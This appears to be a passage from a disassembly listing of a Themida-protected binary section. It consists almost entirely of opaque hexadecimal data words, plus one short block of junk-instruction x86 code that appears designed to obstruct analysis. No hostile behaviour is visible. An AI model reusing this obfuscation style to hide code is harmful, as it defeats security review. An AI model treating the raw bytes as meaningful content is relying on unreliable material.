45E2E08Bh, 0E9951DD8h, 44F69DEAh, 0EEE811B8h dd 0C48953Ch, 45B6335Ah, 0A7169AACh, 0B7AE340Eh, 0D09FBE93h dd 3C000000h, 0B74499ADh, 11B85098h, 0C285D1BDh, 0AF2EA3A9h dd 442647BBh, 464D075Ch, 0AA29E3F7h, 0C84A1B5Dh, 843E8D17h dd 33EDDECFh, 8105298Ch, 4E13C532h, 77041DD8h, 0BCEEA963h dd 0CC2C96Ah, 5051FE52h, 0D8239AE2h, 17CAC9B9h, 7201F09Ch dd 0A5607205h, 0E390E30Bh, 0BA56054h, 20411501h, 4A0456A3h dd 0F8B2A815h, 13070A02h, 9D3336E2h, 8C3h, 0C18E4097h dd 6D22DCF4h, 0BE934580h, 6E23D5EFh, 0C4914B7Fh, 0CDFD8070h dd 5A6F3E13h, 0CC02F3A0h, 6378451Ah, 69F8FCA9h, 0DE3B7B1Eh dd 8C7CDA1Dh, 0EEB7AB5Ah, 5A0CA9F3h, 5F5E3250h, 0C71BEAB3h dd 7665580Dh, 0C8CB6E19h, 9A8A17C8h, 0F31CF7C6h, 0E7698C9Fh dd 0F8F59FB6h, 0D88C9E28h, 5C84CE97h, 0F7464D07h, 0B8D32AE4h dd 268B5F3Ah, 1B839F46h, 3D576023h, 1C480256h, 54A11253h dd 9B4746F8h, 0B73DFD2h, 476147B4h, 0B6661DD9h, 0DF99CA17h dd 2EFCF310h, 15E9E159h, 373E519Eh, 671711B9h, 3D8E5F46h dd 9938EAE2h, 0CD1AB9EDh, 0A53D59D0h, 6D28C132h, 9E4DA45Eh dd 35133E51h, 0FCAEA87Eh, 5B4B29D5h, 0F7B87266h, 96B03DAEh dd 12A3B641h, 0C2B27E35h, 0ABA2EF8Eh, 104ADF9h, 2E7918D2h dd 7E351308h, 0C5CC7ED8h, 27A66078h, 99AD4897h, 0B43B211h dd 9EE93A59h, 7E3512FBh, 0B5F6AA5Ah, 91C2732Eh, 0CC398AD7h dd 24DFDE90h, 73967709h, 7A471B11h, 6412B163h, 0DF99CA3Bh dd 11FB93E0h, 6C737E35h, 15CF04B1h, 0A45E6D40h, 0EE96BC1Dh dd 2F1674FFh, 53308445h, 0F7C6C0B9h, 260E4F52h, 9AC82976h dd 0D6600BE2h, 897E353Ch, 7ED7269Dh, 0DD0AC5CCh, 2D43A2BFh dd 0B340AFE3h, 72146EA4h, 0F79CC5B1h, 146E8AACh, 0DD984772h dd 37899F05h, 4588E5Eh, 47D20000h, 9AE2508Bh, 689AD823h dd 917D1DD8h, 152DEAB9h, 0EC800AAh, 869B1E33h, 65E4E2E5h dd 2A18EE87h, 0F6105B52h, 493AF7D2h, 0C117665Dh, 0ECB87266h dd 8C3E98E5h, 99FC97D8h, 93E2D1B5h, 0E8DB843Eh, 0E7EE2A9Bh dd 5C888734h, 8E3C2199h, 0BE2D84D0h, 56AFC22Dh, 0F6A628C7h dd 41FB50B5h, 0A3509F14h, 28C75694h, 0B2C532C1h, 0A328C756h dd 7FE9FF3h, 0DA9C1AD4h, 1EC4F110h, 6CD059Bh, 0AEA10000h dd 256A7FCh, 0B3AA1B48h, 6B615401h, 0C919ECB9h, 2F2420Fh dd 0C4914B7Fh, 7926E0F1h, 0F3A0528Ch, 4A17D102h, 0CD6C176Ah dd 881DDE3Ch, 75C3AEEh, 453A5DAAh, 6B1B17C8h, 14499837h dd 0D4772D62h, 0B000000h, 80631948h, 2B9A40DCh, 0B43AA072h dd 792BB883h, 7F000000h, 91C21948h, 0A4FBB8D7h, 50E01CEh dd 0FDEB2DEh, 0C8C5D264h, 0D5F07D17h, 93EE9C23h, 39C11F34h dd 0BAD98D9Bh, 0EFBE786Bh, 13A58A14h, 0B30B5172h, 0DD390C9Eh dd 0C5A0C195h, 0AA29E3F8h, 33C01B47h, 17C87E24h, 0A2114531h dd 0D88DB755h, 796A171Dh, 0E6969EBFh, 19D48BE7h, 9383E349h dd 16D2BEh, 946F0000h, 1A2F4134h, 62B72560h, 0B771624Fh dd 0E013B4F6h, 97000000h, 8B621A48h, 0D879DEE0h, 7E5911Dh dd 0DC00561Bh, 0E4C45C5Fh, 0B8000005h, 45B8ED9Fh, 0B90C5913h dd 509DF2A4h, 0A00D42F4h, 0D1A3F0AAh, 722C1EE1h, 0BF79D01Dh dd 792B2392h, 0D08AD92Ch, 25D22183h, 1DDE3E12h, 48F5A543h dd 0DC806319h, 0AF617C11h, 0D690C110h, 0DA930CB7h, 0E895E4CCh dd 70733CEEh, 0B777DDB5h, 4C66B883h, 0BA000000h, 80631948h dd 0BC6B13DCh, 72017221h, 0C8457205h, 0C033E317h, 17C844B1h dd 2BB7F8A4h, 0B883B7A5h, 2694h, 1948EC00h, 452433C0h dd 453117C8h, 0E2A9611h, 0EB9C5504h, 17C84D4Fh, 0AAF6A89Dh dd 83BBAD32h, 0FEBE9EB8h, 48E2FFFFh, 0DC806319h, 8A239278h dd 0BADD2AD9h, 9B17C844h, 0BA20C2EBh, 0ABB883B7h, 232h dd 3D5CA758h, 1817C851h, 5C67436Ch, 3B5EA906h, 1A17C845h dd 3AC7366Ah, 0A62D6E28h, 444BFD57h db 0C5h byte_5AAEED db 56h, 9Bh, 0EAh ; DATA XREF: Themida_:0054D220o dd 0A4113EF8h, 45FF53AEh, 0D621903Eh, 17C844C3h, 0FAEE292h dd 5FC80AEh, 45660976h, 0FFEF17C8h, 0BBE49EB2h, 5565BB48h dd 92821DD8h, 964F40EBh, 0C231EBDFh, 3B641E33h, 8D479B6Ah dd 0DA94C736h, 0BB7566B3h, 713A6614h, 357E1562h, 0F64511B8h dd 0F49B4D87h, 0B3657946h, 0A63D5E0Ch, 5CA7580Bh, 11B8333Dh dd 0C2436C18h, 2CE7D690h, 1EEA575Dh, 4BE0DB4h, 65560F50h dd 0A32C22AAh, 0B4FDAC51h, 48470151h, 0A2548AF7h, 4146F1Bh dd 88499105h, 113DB4FDh, 37E9966Dh, 17C7C9h, 8F6C3F14h dd 54BD3C58h, 129FC0BFh, 1E69582Ch, 11B806ACh, 0AC667A0Bh dd 0EB8ED9F8h, 0E00597CBh, 0AEBBA661h, 0C4946844h, 0A46D089Bh dd 8CF7C6BEh, 0BA7A21Eh, 0D2CD728h, 48FF8768h, 7521135Ch dd 0EF82ED7Eh, 66FF8767h, 3DB0F5B6h, 0E02D540Eh, 7D6431EBh dd 0A956ADD1h, 5977D0Fh, 0EB469AE7h, 49123EF8h, 47943BEBh dd 0F9775224h, 0BB3754ABh, 42F40CBEh, 0CBF2AC9Fh, 0B92A731Fh dd 14BC2200h, 33ADD6D4h, 0F5000000h, 8CC11A48h, 5B07B3DAh dd 46091764h, 0DD6E1DD8h, 0DE8C33EDh, 0ADC00BB2h, 2211B844h dd 0BA20F2ABh, 0D2BE93B7h, 191BBCB5h, 3F6031CCh, 0B09Dh dd 75CE500h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 0CA347794h dd 1A2CBA89h, 0C93488A7h, 4480CD17h, 133FEB92h, 73A5123Fh dd 3517C938h, 0C4376C26h, 2EA9C833h, 0C0AC17C9h, 582C129Fh dd 0FC11C69h, 0C5D41F70h, 9017C92Eh, 68D5B0E4h, 414275F6h dd 0F582812Ah, 1DDB7FE0h, 0BD2E8571h, 14AEC12Eh, 0F7A711B6h dd 41FB4FB6h, 0F7B1A114h, 2522B01h, 0BC5457DCh, 337h, 6D22D40Bh dd 0C18E4880h, 7A27D9F4h, 0F29F518Bh, 4015CF03h, 518104ECh dd 0E6FBCA97h, 5086772Ch, 0CF04F19Eh, 0D5C4015h, 0DE40CF62h dd 40E8861Dh, 174C065Ch, 0A6FBB5A6h, 4D075CFCh, 2AE4F746h dd 75C2D75h, 453A5DAAh, 0B2AC17C8h, 4FD58100h, 44E06FFCh dd 897517C8h, 0CB3A89DDh, 8B6DD97h, 8CDB2C67h, 0C84550DFh dd 58190517h, 0EFA45E6Dh, 714044EAh, 0D85AFC06h, 69186B1Dh dd 60EFC274h, 0F511B830h, 0E9365D09h, 11B83042h, 0FA85F68Dh dd 11B83057h, 564D0EFEh, 0C861C79Bh, 5A50BE93h, 98000000h dd 8B621A48h, 85378DDCh, 0B80F50FEh, 1DD8452Ah, 87398DDCh dd 23115A08h, 0DCED7C73h, 0AEEF9B22h, 43B3DA25h, 352B11B8h dd 0ABD284DAh, 0DD2C53FFh, 883A93EEh, 8A095D09h, 1B2BC6DDh dd 0B58D2897h, 0BE93B92Fh, 0E9A3B845h, 3AC53CEAh, 11B83817h dd 8F0D4E3Eh, 0C3h, 0B6AB5AD3h, 152B3FCh, 0E9F94847h, 0C42FC02Fh dd 17C844B5h, 28ABF4A0h, 172F8AD9h, 43923165h, 1A675610h dd 0C2700FC9h, 8526D8EDh, 49A1CF20h, 780517C8h, 7723AA5Ch dd 0C27CCF36h, 712B208Dh, 9843EF52h, 0C8404CEBh, 491D0917h dd 53930D7Ah, 68141DD8h, 0F488B63Bh, 0E55772FDh, 0FEEE17CAh dd 561042AFh, 0BE49BA09h, 0BA5739Bh, 24A1CABAh, 0B676742Eh dd 0E2E212F3h, 1BD49DFh, 3E910000h, 0F2E6D78Ch, 439A6B38h dd 0DBF1C491h, 59897C29h, 0B282F29Fh, 7421DBEFh, 0C9965081h dd 6330E2FCh, 0DA874192h, 5DFC87DAh, 0F81DDE42h, 0AB5AAA5Eh dd 50025BB6h, 0B2D18531h, 786A5B04h, 2F2491BEh, 48722075h dd 0DE8B621Ah, 864F32ECh, 96AD1710h, 58A32041h, 1DD8B8CAh dd 71C2C1ADh, 0B7E27502h, 837311B8h, 0B846EDDAh, 0FA8911B8h dd 9077371Dh, 0E586DCE6h, 0C94F23BEh, 0B8BE937Fh, 0B7h dd 4D075C10h, 29E3F746h, 4A1B5DAAh, 0DE8B17C8h, 0E08E35E7h dd 5B1546BFh, 0E48B506h, 0E889355Ch, 8D34EEDDh, 0DD6F062Ch dd 4B610E3h, 40848D41h, 5004500Ah, 0B0AC1661h, 0BFB1DD7h dd 0C0186556h, 263A8706h, 7A77386Ch, 0B641B0D4h, 17CA3EBCh dd 0D7143D5Ah, 0EB657B71h, 0EBC2B2C2h, 0BD924C7Eh, 914B7FEEh dd 2BE5F5D0h, 1370F3CDh, 9C3437E2h, 0C7h, 0BD92449Bh, 711ED8F0h dd 0CA974984h, 622FE1FBh, 0D0853F93h, 0C111945Ch, 766B5A07h dd 0C016E7BCh, 5F74410Eh, 5DECF0A5h, 0DE437F12h, 9078D61Dh dd 3B5EA95Ah, 1A17C845h, 8EC4416Ah, 1D2E7FD4h, 5C642E63h dd 0F7464D07h, 74752AE4h, 0B847B6CEh, 0F06297DBh, 90DBCF2Eh dd 17C85801h, 5FCA854h, 0C857D77Ah, 0CD8E7E17h, 0DE4C59FAh dd 6D14001Dh, 0B17ACF1Eh, 87BBD95Ah, 0FAA3EF86h, 4E7DD80Bh dd 2293C094h, 0F9887731h, 57A62DE7h, 97434A04h, 0A6F1A2CBh dd 846E4F29h, 0F6AF4AB9h, 87762BE5h, 0A6F39A54h, 2AD5FCAEh dd 164500B9h, 0A5B6075Ch, 3561134Ah, 0BE192FBEh, 0AED587h dd 0F0880B54h, 3, 5CBFEBB8h, 0E3325103h, 4A9736F0h, 0E5B6214h dd 338201BBh, 0F5E651Fh, 338201BBh, 19686719h, 1E6B12C4h dd 9451702Ah, 2B3C68h, 241C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push ebp mov ebp, 3AB10C31h mov edx, 40C700B3h sub edx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 247Dh mov [esp], edx pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_55FF58 ; --------------------------------------------------------------------------- dd 0CBA9C0B3h, 0D20702AFh, 0A1418EDEh, 15FFADB8h, 0FFC50306h dd 1FE288E0h, 8A3AEB5Fh, 2A93893Dh, 60FCC827h, 36E17003h dd 897EF726h, 6E84Ch, 0F5670000h, 0EDC9EEBDh, 800Fh, 8B580000h dd 0DEC081F0h, 0BB000067h, 6EA5FB7Bh, 0F02838BFh, 0EBF7815Bh dd 8B5BF031h, 0B70F5610h, 0C28159C9h, 6F031A86h, 4DF281F9h dd 0B969EC46h, 57CBD31Ch, 0D6D6EA81h, 8A0F6058h, 5, 81F38166h dd 0B9B352BEh, 0B70F008Fh, 4E883DFh, 1F8FBB66h, 0D850F4Fh dd 0F000000h, 29E9F1BFh, 1A000000h, 13922BC8h, 8E9h, 189EED00h dd 0F259960Bh, 0FFA1E944h, 0EA32FFFFh, 61003552h, 0AF766A57h dd 94729E47h, 414AED47h, 98E9h, 0F7145500h, 9456h, 500h dd 100h, 0A2800h, 200h, 20h dup(0) dd 0B5CE900h, 0FE680000h, 0E9061602h, 0FFFA7EDCh, 16041168h dd 7ED2E906h, 0DC68FFFAh, 0E9061604h, 0FFFA7EC8h, 16056968h dd 7EBEE906h, 0E468FFFAh, 0E9061606h, 0FFFA7EB4h, 16076468h dd 7EAAE906h, 4368FFFAh, 0E906160Ah, 0FFFA7EA0h, 160B7468h dd 7E96E906h, 0AB5BFFFAh, 0BF65F468h, 0A045D488h, 0BF64F367h dd 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h, 0C478B96Ch, 0E2569135h dd 0C377AC53h, 8D35F4C8h, 696BDA7Dh, 7932C08Ch, 0DE5044h dd 0CC7CB909h, 89C7286Dh, 6A05F68Ch, 1AA1B6B2h, 23803C71h dd 76354794h, 67FC8155h, 6FC1B5B1h, 7289A91h, 50CC943Ch dd 736907Bh, 9ED5943Ch, 0AF0FE207h, 0BC7F397Ah, 57F9CE03h dd 4Ah, 1EBD5CB5h, 7C745D4Ch, 969267FCh, 27C990EAh, 0B35F984Dh dd 0CDB693AFh, 943C7C71h, 3CE81DC6h, 0F8ACEB9Dh, 0CC0BBD7Ch dd 67FEA5D8h, 0AED0B059h, 3C7C47FBh, 4C39F94h, 0F1752160h dd 4DA847DCh, 397B3584h, 0AA64h, 7932A600h, 97395044h dd 7D2AC58h, 8B482566h, 0D4F39FD4h, 8342F62Bh, 6DCC00B4h dd 2FABE087h, 0D6CAFFA8h, 0D076CAE9h, 371B52FAh, 0F10BE74Bh dd 3F1293Ah, 0DD51CD98h, 906A7188h, 0FEC23C9h, 599142E9h dd 3759E15h, 1149BA08h, 0E2FE5A9Eh, 609F5108h, 0E1BB6DECh dd 2400F42Bh, 4D6A9B40h, 0FAAA4035h, 95AE9h, 4F923400h dd 6DA45CDBh, 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh dd 0D8C407Fh, 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 7E6CD6D5h dd 2B886BDAh, 3F7E32A1h, 0B820402Dh, 0D5C18F33h, 10B73EF8h dd 5CC95FDBh, 5D4C1EBDh, 67FC7C74h, 28168D92h, 13744941h dd 0AA14432Fh, 49943C90h, 935E9B3Ah, 73397A49h, 0F3h, 0DB1ACE8Dh dd 826EA35Ch, 3203C99Eh, 0DE504479h, 836FA45Bh, 5F11CA9Fh dd 3FFA7420h, 917A4F8Ch, 6DCC00BAh, 35A9DE85h, 5BBFFDA6h dd 0D6A40073h, 0B79DA0B7h, 618500D7h, 96956B85h, 9233372Ch dd 8F8F6CC8h, 906A1E9Dh, 70F4A0D9h, 0A7C4A054h, 0CF81BF56h dd 9F8AE490h, 92333723h, 678B67C3h, 0E71EC695h, 263BEE12h dd 9E980341h, 0DA90681Bh, 536FF39Fh, 0D6A88476h, 46236003h dd 37A43390h, 8CDC6625h, 3C389E15h, 0C0F59722h, 10F479C9h dd 0A5C19D9Eh, 0C9FEB229h, 10F460E2h, 0CCA8849Eh, 34F0DC1Fh dd 73643040h, 847h, 7A2E7121h, 9A0E45FBh, 0B12D661Bh, 9448852Ah dd 0A8246305h, 701446C2h, 4BFE7D31h, 23C74E0Ah, 3EE574E8h dd 665A5509h, 0DA781FA3h, 32FAF76Bh, 34367E32h, 0EB7D2B8Fh dd 7EFFF6E3h, 47401958h, 7F28AF2Bh, 32F88E4Ah, 39504479h dd 84E15D92h, 95946675h, 67F67D1Bh, 16A5B7B3h, 0C584386Dh dd 942583EDh, 0EE6A718Ch, 5D7C7D4Ah, 59926C7Eh, 0B88AA6C9h dd 0F09BB00Ah, 9E156573h, 6B1C9793h, 62DC5212h, 3913C84Fh dd 0EC33B152h, 2DD95507h, 0C47E2D53h, 2037CC71h, 3FD62744h dd 715FE3A6h, 20B737CCh, 0DE422E6Bh, 1D0CDE02h, 3DFB8C3Fh dd 0CA916BC7h, 0EE12E726h, 0CB7FB46Bh, 0F95E934Ch, 0E004F0BCh dd 7C970014h, 56000007h, 3EBD71B4h, 5CDB4F86h, 69F06CA5h dd 46D589C6h, 1E763A2h, 76B55785h, 519233C2h, 6DA85EDDh dd 8CC16AF1h, 28E3DDD0h, 6BDA789Ah, 0D7971D7Ah, 7C4002A9h dd 0C8A46DCCh, 0FC352B3h, 98C0459Bh, 6105C449h, 3B304A26h dd 6302F4h, 6D93682Fh, 0E623C893h, 6A21363Ah, 67F634EEh dd 0A9304A26h, 6DD5D405h, 89942634h, 59DDC9ADh, 0A9EEAE74h dd 12E7317Dh, 7EB56BEEh, 5E954BCAh, 376C13B2h, 23A5F92h dd 0D2C3D34Ah, 6EFh, 72E629C9h, 52063DE3h, 69E51EC3h, 4C003DF2h dd 60DC1BCDh, 38EC1E6Ah, 13B645F9h, 2BDF56D2h, 6BD3CF0h dd 8E725DD1h, 0DA79279Bh, 5AE2BF6Bh, 875F04D7h, 0AFCCA8E3h dd 3A14C74Eh, 0B9EE9524h, 7D6DE7A4h, 4A8367F6h, 0D486F0D5h dd 0C3B7949Ah, 1DC69567h, 57D516E8h, 77350060h, 43A01633h dd 924923B8h, 0D5F4A0DDh, 0FBD0F433h, 0EC8826E5h, 9F849425h dd 0E48555CEh, 0A85C7873h, 25B84401h, 7B1AA994h, 8166337Eh dd 0C2AAA339h, 24079128h, 63E48C61h, 26000000h, 2ED496D7h dd 23C3A68Bh, 4C21457Eh, 0A3BD1EB9h, 0CC7246E8h, 7559BE6Dh dd 0BE47E656h, 22493D19h, 6DCC8CA4h, 31952C47h, 8CE65C4Fh dd 92376DCCh, 0D9C9AD59h, 8C1EA467h, 7AF66DCCh, 0F12ADF56h dd 39CA23DCh, 113A336Ah, 0F5CF428Ch, 0F2567320h, 0Eh, 5F984D0Ch dd 129AAFB3h, 1D840h, 0BA158C00h, 213BA037h, 7CF64C3Fh dd 0A2476DCCh, 0C9B9BD69h, 0C168906Dh, 67FC2020h, 40E76AC6h dd 448D7728h, 1C16896h, 0E5278951h, 0EB47789h, 0E6278951h dd 9106D8Ah, 0F011F8D2h, 962DB934h, 2503A7A4h, 0A0A2C458h dd 0F98049F9h, 95B1AD29h, 0D60514E1h, 7D270504h, 83DF23CEh dd 0F83CF269h, 3AAABB5h, 54795D8Fh, 1368D4EBh, 647C510Ah dd 45F92ED5h, 73D80DB6h, 8DCAECCAh, 7439AA7Ah, 4E000005h dd 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah dd 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h dd 6BDA7A72h, 328F1592h, 0AF2A4479h, 0FDA9BEFDh, 10EAF108h dd 0FC0C0C19h, 7013AA67h, 0B8A30633h, 0B27AAEBCh, 1E401A8Eh dd 7FF94940h, 411D9423h, 237FE85Ah, 833FEA94h, 6394237Fh dd 66251707h, 94237FDCh, 43183C38h, 2D9ACF78h, 4A077B06h dd 0F4697A2Ah, 0CE000004h, 0D665D91Ch, 0B443F72Eh, 0E158D40Dh dd 0BE3DF12Eh, 190FCB0Ah, 8ECD7FEDh, 0A9EA9B1Ah, 0C500A635h dd 0A4D99209h, 503B4528h, 6BDA7BF2h, 320F9512h, 39504479h dd 5D835D92h, 0CC7C14AEh, 5774F06Dh, 32D1F2A7h, 0A3174CF3h dd 0F4E02B9h, 35EAFF63h, 336B29DCh, 2ABCh, 4D70E00h, 0BA4B2061h dd 0FBAEC01Bh, 67FC2B76h, 0B9E09490h, 9423AD0Dh, 9A3CD3F0h dd 192E6D1Fh, 7B648B66h, 536B39h, 0D7E10000h, 6E225F04h dd 7188D5F2h, 906E906Ah, 0CC7C2999h, 2548CD6Dh, 6DE3AE0h dd 968D6A86h, 67FCA0ADh, 4813ED49h, 36F569A0h, 943C6789h dd 0CFBAE59Eh, 943C6773h, 0C45FC93h, 1C381C18h, 0A17319A0h dd 63BFB3ECh, 2299937Fh, 0AA173469h, 41Fh, 15BD5C22h, 4F3A862Ch dd 6DCC7BF3h, 56321713h, 95CE73BDh, 0A5BB95B1h, 0CCA15CE6h dd 6C21B86Dh, 263A0F33h, 0FCDBC663h, 30E44067h, 0D969203Eh dd 76943CAFh, 7FDB93D2h, 53AF16Ah, 37025E11h, 9F845992h dd 2FAC4B00h, 0D5CD6E1Dh, 3D399E0Ch, 1C51FA81h, 9E431668h dd 98B5B165h, 0DF92AE45h, 1A8C29Eh, 941CD408h, 259D8CDEh dd 0C1801CD4h, 3958165h, 9750D170h, 7A99E662h, 0AE61FC6h dd 0A45039F0h, 3A368A2Ch, 63984F46h, 0F78E25AFh, 401AC158h dd 3C9B2049h, 0CE8AE680h, 0AB1712ECh, 4B8C7CFBh, 8A41FACFh dd 862AA155h, 604B3547h, 8C7CFBE2h, 55512602h, 4BEA891Ah dd 11EB5F94h, 0BB67A64Ah, 0FB78CAC1h, 0C09C8C7Ch, 9F36C7A4h dd 95B1EEA1h, 9A3BD0BBh, 32A9864Ch, 0CE523E7Fh, 0DB9209F9h dd 0B372EEA2h, 462AD60Dh, 0A85F762Ah, 5E157F73h, 6A7188C7h dd 7BB6E90h, 18B66C1Ah, 0E84C3871h, 67223C38h, 0B66C1ADBh dd 0F60ADF3Bh, 5C7BC633h, 8C4A0BCh, 0F1A5DA91h, 40FC31DAh dd 0F507D4E3h, 6C541536h, 8175F1B2h, 4C4C6CDAh, 5DF48FA2h dd 0EAFA5598h, 0F09BC563h, 0A24C5452h, 2FA1B6B2h, 3Ah dd 0A6E78A51h, 0CB6176FAh, 0E283BD5Ch, 0ABC5A1h, 67FC7CD3h dd 28253733h, 0B6B65EA1h, 0D5D1A6B0h, 23473886h, 9A8DB94h dd 7BFB21ECh, 21CA9139h, 1F3C38ECh, 0E4A9h, 0A9D72300h dd 53427B32h, 6DCC7CEFh, 9EDB9007h, 75526EF2h, 24D005BEh dd 9FDC8F4Ah, 0E15A6FF3h, 0EDDEF02Fh, 0ADB9D49Eh, 0E4A2B76Ah dd 1D093EE5h, 1C90C57Eh, 0CC9B5E6Dh, 0EC2AE16Dh, 69209152h dd 6DCCD5D9h, 0A3FCE13Dh, 219DB978h, 0C8BCF19Ah, 0C064DCFBh dd 758B6581h, 1C083DE6h, 83484318h, 4367FCE4h, 70E73E7h dd 0AD599639h, 0D8D3ADC9h, 9E0A6CE2h, 85542602h, 0B128A4E3h dd 261BC0FFh, 0EE403667h, 215AD36h, 3FEF0000h, 13B940FCh dd 34D960DCh, 13B83FFBh, 31D362D6h, 345036F2h, 67E322C6h dd 40FC3DF0h, 5EDA15B9h, 3FFB30D7h, 9B9704Ch, 0ED6BDA76h dd 7E3224F0h, 2AB18B3Fh, 0DC584C81h, 7CBB0702h, 0FF5B6DCCh dd 85BA71EAh, 2C96956Bh, 0C86DCC7Ch, 0F5C78F6Ch, 7D22DAF8h dd 0ACC1729Fh, 1EBD5C20h, 8D4C324Ch, 8DE99DDAh, 0CC7C249Eh dd 8764C06Dh, 0FC7CB79Ch, 0F9D34F67h, 0F19E66D4h, 30A75BBDh dd 79254277h, 23E89432h, 42F97794h, 0A4775489h, 0A225E80Dh dd 0DF05397Bh, 47000000h, 83DB96D7h, 57251184h, 0E712B982h dd 0CC039E24h, 0BDFEAF6Dh, 0B9B56DC9h, 35EE4A7h, 0BAB66DCCh dd 39EBEA96h, 0B359E0FAh, 0CFAC887Ch, 7FB188CFh, 0E18A6DCCh dd 0B599D2ACh, 0A687A629h, 271EF4D9h, 55FE0B39h, 5DDCBE78h dd 21B86CABh, 390E326Dh, 0E094C982h, 0ECE10413h, 4A19363Eh dd 0D36F169Ch, 336DCCBAh, 4A411B37h, 67FCC981h, 0D617E945h dd 9C1AF941h, 2FA7C423h, 0C69843D2h, 0AEF16C3h, 9AB4B09Eh dd 7A2E6D1Fh, 5D0A49FBh, 4035D1E2h, 0E4EDF6AEh, 0BE000000h dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h dd 6BDA77C2h, 32FFC522h, 0B18B3F7Eh, 5B47862Ah, 4DF106CEh dd 0FAD6DA92h, 78AD56DDh, 793226C4h, 92395044h, 6DC5F254h dd 7D597D07h, 865564C1h, 0E237B574h, 53CF67F6h, 0D30AC279h dd 6176AB54h, 487D26A5h, 792FAA94h, 0F8D24E42h, 26E2B111h dd 4D95594h, 0A75B9037h, 0C78B0300h, 9F0025h, 7C3F6A21h dd 7EE28EC3h, 0C5F92B97h, 734FCBC4h, 528740B7h, 0EE9FCC9Eh dd 31566572h, 0C166ED0Ah, 0D8279B8Eh, 6DBFC4C5h, 0C5D804BEh dd 6084E0C4h, 95946A84h, 0C4C5D82Dh, 8E906DC9h, 4FD66D04h dd 70E76398h, 58E82B7h, 0Fh, 5B04D777h, 0E1F67A26h, 3CF26987h dd 3260EC01h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h dd 61BD68h, 243C8900h, 5EF968h, 24148900h, 2A1A68h, 240C8900h dd 0BEBA5257h, 891E2406h, 95BA5AD7h, 29243A08h, 8B545FFAh dd 0C483240Ch, 4EC8104h, 89000000h, 0D6892434h, 5E087189h dd 592434FFh, 4C481h, 148B0000h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 0FA738BE9h, 7DB84CFFh, 306160Ch, 0EEE0FFC5h dd 80345C71h, 73768AC3h, 36543ACAh, 0DE445D84h, 4A6636C5h dd 941F2C59h, 1F6A9743h, 9A278E6Ah, 0EB2362ACh, 24h, 8 dup(0) dd 0BDE900h db 2 dup(0) word_5AC1A6 dw 0B589h ; DATA XREF: Themida_:0054DC10o dd 6160D12h, 2209858Bh, 858B0610h, 6101FA1h, 0D5CB58Dh dd 858D0616h, 61354E6h, 55C3D0FFh, 0E8h, 0ED815D00h, 6160D62h dd 2209BD83h, 0F010610h, 2C85h, 12B5FF00h, 8B06160Dh, 101FA185h dd 27363506h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h, 47E900h dd 0C0330000h, 40E9h, 8D1C6A00h, 160D16B5h, 0B5FF5606h dd 6160D12h, 1FA1858Bh, 36350610h, 0FF348127h, 0CC483D0h dd 0D16B58Dh, 468B0616h, 4E08314h, 0F04F883h, 784h, 0E9C03300h dd 5, 1B8h, 9BD8300h, 1061022h, 7850Fh, 0C35D0000h, 2E9h dd 8DCF5D00h, 160D3B85h, 0A5858906h, 8D061027h, 160EDB8Dh dd 899D8906h, 8906102Fh, 1009F58Dh, 53D88A06h, 5EF9B70Fh dd 231985C7h, 73440610h, 85C70000h, 61022C1h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 16C35242h dd 0EE97420h, 0C4000000h, 498C27D1h, 0EEA11E32h, 7663CC5h dd 4ADB8036h, 8A1B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0BB0665C3h, 7E8F4B88h dd 66C03C5Fh, 25EACE81h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82235DC3h dd 62B61EC1h, 0DE962h, 83CE0000h, 0FCFF4C8Eh, 0A95BF03Ah dd 6651B2CCh, 6AFC71B8h, 0C995FF00h, 8B061031h, 915FEBC0h dd 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h, 2FBF9D53h dd 68286FF9h, 0EE888882h, 74C66E2Eh, 67F79287h, 883301ABh dd 8BE543D3h, 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h dd 9624793h, 8029B6C7h, 0D85C824h, 8E8F5BAh, 77000000h dd 0D541BA71h, 8B081EFBh, 1007D18Dh, 8B525F06h, 10014595h dd 0C7815A06h, 5A4Ch, 0A880Fh, 89600000h, 102F09B5h, 61C78B06h dd 166E68h, 10E900h, 0FBB00000h, 562DD5ABh, 64756FDCh dd 66663D47h, 335E4919h, 100FE58Dh, 0F5078B06h, 0D06FF081h dd 958B49E7h, 6100755h, 9DBBC081h, 8B661B01h, 0A3C081DEh dd 23695129h, 100FD995h, 8B078906h, 102F059Dh, 0D6EF8106h dd 660A7D9Bh, 0C781DF8Bh, 0A7D9BD2h, 0F4ED98Bh, 0FFFFBC85h dd 0B1958BFFh, 8D06102Fh, 1610C58Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 53FFC980h dd 0E9D88B5Bh, 13h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h dd 89DEB088h, 1009F58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 